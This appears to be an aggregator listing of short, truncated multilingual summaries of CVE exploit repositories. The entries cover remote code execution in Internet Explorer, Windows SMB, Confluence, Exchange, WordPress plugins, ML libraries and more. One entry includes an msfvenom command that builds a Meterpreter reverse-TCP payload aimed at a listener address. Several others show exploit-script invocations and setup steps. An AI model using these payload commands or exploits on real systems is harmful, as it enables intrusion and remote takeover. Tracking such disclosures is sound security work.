CVE-2019-1367

0x00 배경 소개 Internet Explorer는 마이크로소프트가 출시한 웹 브라우저입니다. 사용자 수가 매우 많습니다. 9월 23일 마이크로소프트는 IE 브라우저에 영향을 미치는 원격 코드 실행 취약점을 수정하기 위해 긴급 보안 업데이트를 발표했습니다. 이 취약점은 Google 위협 분석 그룹TAG이 발견했으며, 해당 취약점은 이미 실제 환경에서 악용된 것으로 알려져 있습니다. 0x01 취약점 설명 이 취약점은 Internet Explorer 스크립트 엔진이 메모리 개체를 처리하는 방식의 메모리 손상으로 인해 발생합니다....

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService 제로클릭 원격 코드 실행 취약점 CVE-2025-31200의 공개 – Apple iOS 18.X의 AudioConverterService 구성 요소 내 제로클릭 원격 코드 실행RCE 취약점입니다. 이 취약점은 iMessage 또는 SMS를 통해 전달된 악성 오디오 파일에 의해 트리거되며, 사용자 상호작용이 필요하지 않습니다. 공개 및 패치 타임라인 최초 보고일: 2025년 1월 21일 보고 기관: US-CERT 추적 ID: VRF25-01-MPVDT...

CVE-2024-3273

Эксплойт выполнения команд на D-Link NAS Этот скрипт на Python эксплуатирует уязвимость CVE-2024-3273 в устройствах D-Link NAS, позволяя выполнять произвольные команды. Он использует уязвимость для удаленного выполнения команд на затронутых устройствах. Возможности Выполняет произвольные команды ...

CVE-2022-24500

Эксплойт RCE CVE-2022-24500 Уязвимость удаленного выполнения кода Windows SMB Уязвимость: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 шаг 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.b...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI в RCE Неаутентифицированное удаленное выполнение кода в Backup Migration плагин WordPress. Запуск root@kitploit: $ python exploit.py Выполняется следующий PHP-скрипт. root@kitploit: out.txt; ? Ссылки Critical Unauthenticated Remote Code Execution Found in Backup Migration...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-в-Confluence-Data-Center-и-Server Эта уязвимость позволяет неаутентифицированному злоумышленнику удаленно выполнить произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за неправильной проверки вводимых пользователем данных в REST API Confluence. Это...

CVE-2021-33026

CVE-2021-33026 Удаленное выполнение кода через сериализацию Pickle — PoC-эксплойт отравления Memcached Что такое CVE-2021-3306? Расширение Flask-Caching версии до 1.10.1 для Flask использует Pickle для сериализации, что может привести к удаленному выполнению кода или локальному повышению...

CVE-2025-3776

CVE-2025-3776 - 「Verification SMS with TargetSMS」プラグインにおけるリモートコード実行 = 1.5 プラグイン情報 プラグイン名: Verification SMS with TargetSMS 脆弱性のあるバージョン: = 1.5 CVE ID: CVE-2025-3776 タイプ: リモートコード実行 RCE OWASP分類: A1: インジェクション CVSS深刻度: 10.0（重大） 必要な権限: 未認証 公開日: 2025年4月23日 根本原因: プログラミングミス...

CVE-2024-11393

CVE-2024-11393 Hugging Face Transformers MaskFormer 모델의 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점 취약점의 개요 및 영향: 이 취약점을 통해 공격자는 Hugging Face Transformers 저장소의 convertmaskformerswintopytorch.py 스크립트에 악성 maskformer resnet 체크포인트 파일을 제공하여 호스트 머신에서 임의 코드를 실행할 수 있습니다. 아무것도 모르는 사용자가 제3자의 maskformer resnet 체크포인트 파일을...

CVE-2021-41773_CVE-2021-42013_Exploits

CVE-2021-41773 および CVE-2021-42013 の悪用 概要 このリポジトリは、Apache HTTPD における2つの脆弱性、CVE-2021-41773 と CVE-2021-42013 の悪用に焦点を当てています。 これらの CVE はパストラバーサル脆弱性であり、Apache HTTPD サーバー上でファイルマッピングやリモートコード実行につながる可能性があります。 これらの CVE の詳細（根本的な欠陥、脆弱な構成、エクスプロイトなど）については、以下の包括的なブログ記事を参照してください: CVE-2021-41773 および CVE-2021-42013...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 RCE インストールごとにランダムに生成されたキーを使用する代わりに、すべてのMicrosoft Exchange Serverインストールは、web.config内で同じ validationKey と decryptionKey の値を持っています。そのため、 認証された 攻撃者は、悪意を持って作成されたViewStateデータを逆シリアル化するようにサーバーを騙すことができます。YSoSerial.net...

CVE-2026-86319

A resource consumption vulnerability in the json-patch Java library (versions up to 1.13 ) affects the JsonPatch.apply function in the Patch Operation Handler component. An attacker can trigger it remotely with no authentication or user interaction, resulting in a denial-of-service condition. The...

EUVD-2026-72448

A vulnerability has been found in java-json-tools json-patch up to 1.13. Affected by this vulnerability is the function JsonPatch.apply of the file src/main/java/com/github/fge/jsonpatch/JsonPatch.java of the component Patch Operation Handler. The manipulation leads to resource consumption. It is...

CVE-2026-86319 java-json-tools json-patch Patch Operation JsonPatch.java JsonPatch.apply resource consumption

A vulnerability has been found in java-json-tools json-patch up to 1.13. Affected by this vulnerability is the function JsonPatch.apply of the file src/main/java/com/github/fge/jsonpatch/JsonPatch.java of the component Patch Operation Handler. The manipulation leads to resource consumption. It is...

CVE-2026-86319 java-json-tools json-patch Patch Operation JsonPatch.java JsonPatch.apply resource consumption

A vulnerability has been found in java-json-tools json-patch up to 1.13. Affected by this vulnerability is the function JsonPatch.apply of the file src/main/java/com/github/fge/jsonpatch/JsonPatch.java of the component Patch Operation Handler. The manipulation leads to resource consumption. It is...

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590는 서버 측에서 부적절한 역직렬화가 발생할 때 악용될 수 있는 취약점입니다. 이 경우 Clearml에서 발생합니다. 공격자가 악의적인 Pickle 파일을 생성하면, 해당 Pickle 파일을 역직렬화하는 피해자에 대해 임의 코드를 실행할 수 있으며, 이는 원격 명령 실행을 위한 리버스 셸로 확대될 수 있습니다. clearml 라이브러리를 설치하는 것을 잊지 마세요. root@kitploit: python -m venv .g source .g/bin/activate...

CVE-2011-2523-poc

CVE-2011-2523-poc Это скрипт на Python3 для эксплуатации CVE-2011-2523, бэкдора командной оболочки VSFTPD 2.3.4, с использованием модулей socket и telnetlib Требования root@kitploit: sudo python3 -m pip install pwntools Установка root@kitploit: git clone...

CVE-2024-9441

CVE-2024-9441 취약점 설명: 이 코드는 PHP 기반 웹 애플리케이션의 부적절한 입력 검증으로 인해 발생하는 원격 코드 실행RCE 취약점을 악용합니다. 이 취약점은 "비밀번호 찾기" 기능index.php?c=user&m=forgotpassword에 있으며, 사용자 입력이 제대로 검증되지 않아 공격자가 서버에 임의의 PHP 코드를 주입할 수 있습니다. 이 스크립트는 PHP 기반 애플리케이션의 취약점을 악용하여 악성 PHP 스크립트를 서버에 업로드하고 HTTP 요청을 통해 시스템 명령을 실행합니다. 사용 방법: pytho...

CVE-2020-26217

Описание XStream может быть использован для удаленного выполнения кода Влияние Xstream com.thoughtworks.xstream xstream 1.4.13 Как использовать root@kitploit: 0 text/plain 0 -1 1 stri...

CVE-2022-21587-Oracle-EBS-

이 익스플로잇을 실행하기 위한 사전 요구 사항: python3 모듈: requests, os, sys, slipit 포함 uuencode 실행 전에, 윤리적 목적으로만 사용하십시오. 익스플로잇이 실행에 실패할 경우: 사전 요구 모듈이 이미 설치되어 있는지 확인하십시오. requests 설치 pip3 install requests slipit 설치: git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install --user dist/ ...